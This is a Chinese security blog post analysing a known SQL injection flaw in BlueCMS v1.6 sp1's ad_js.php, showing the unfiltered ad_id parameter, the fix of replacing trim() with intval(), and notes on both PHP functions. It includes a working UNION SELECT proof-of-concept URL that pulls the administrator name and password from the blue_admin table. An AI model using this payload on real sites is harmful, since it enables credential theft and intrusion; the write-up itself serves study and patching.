网络安全实验室信息安全黑客

一千零一夜 第1夜 BlueCMS v1.6 sp1 ad_js

2017-12-22  本文已影响44人  Arch3r

漏洞信息

下面的漏洞信息表格引用自https://wooyun.shuimugan.com/.

类型 内容
编号 141
漏洞标题 BlueCMS v1.6 sp1 ad_js.php SQL注入漏洞
漏洞类型 [SQL注射漏洞]
厂商 [BlueCMS]
白帽子 CnCxzSec(衰仔)
提交日期 2010-07-30 19:49:00
公开日期 2010-07-30 21:52:00
Confirm Spend -1
漏洞标签 php+数字类型注射 注射技巧 BlueCMS
漏洞简介 BlueCMS v1.6 sp1 某页面SQL注入漏洞

漏洞成因

缺陷文件:ad_js.php

第12行: $ad_id = !empty($_GET['ad_id']) ? trim($_GET['ad_id']) : ''; 根目录下其他他文件都做了很好的过滤,对数字型变量几乎都用了intval()做限制,唯独漏了这个文件,居然只是用了trim()去除头尾空格。

第19行: $ad = $db->getone("SELECT * FROM ".table('ad')." WHERE ad_id =".$ad_id); //直接代入查询。。汗。 |

验证漏洞

单引号判断法


BlueCMS v1.6 sp1 ad_js.php SQL注入漏

验证POC

POC : view-source:http://localhost/cms/ad_js.php?ad_id=1%20and%201=2%20union%20select%201,2,3,4,5,concat(admin_name,0x7C0D0A,pwd),concat(admin_name,0x7C0D0A,pwd)%20from%20blue_admin%20where%20admin_id=1

访问POC链接

漏洞修复

trim()函数修改为intval()函数,如下:

$ad_id = !empty($_GET['ad_id']) ? intval($_GET['ad_id']) : '';

重新访问POC测试效果

修复.png

笔记:

1.trim( )函数:移除字符串两侧的空白字符或其他预定义字符

语法

trim(string,charlist)

参数 描述
string 必需。规定要检查的字符串。
charlist 可选。规定从字符串中删除哪些字符。如果被省略,则移除以下所有字符
  1. intval()函数:获取变量的整数值

语法

intval ( mixed $var [, int $base = 10 ] )

通过使用指定的进制 base 转换(默认是十进制),返回变量 var 的 integer 数值。 intval() 不能用于 object,否则会产生 E_NOTICE 错误并返回 1。

参数 描述
var 要转换成 integer 的数量值
base 转化所使用的进制。

Note:

如果 base 是 0,通过检测 var 的格式来决定使用的进制:

  • 如果字符串包括了 "0x" (或 "0X") 的前缀,使用 16 进制 (hex);否则,
  • 如果字符串以 "0" 开始,使用 8 进制(octal);否则,
  • 将使用 10 进制 (decimal)。
上一篇下一篇

猜你喜欢

热点阅读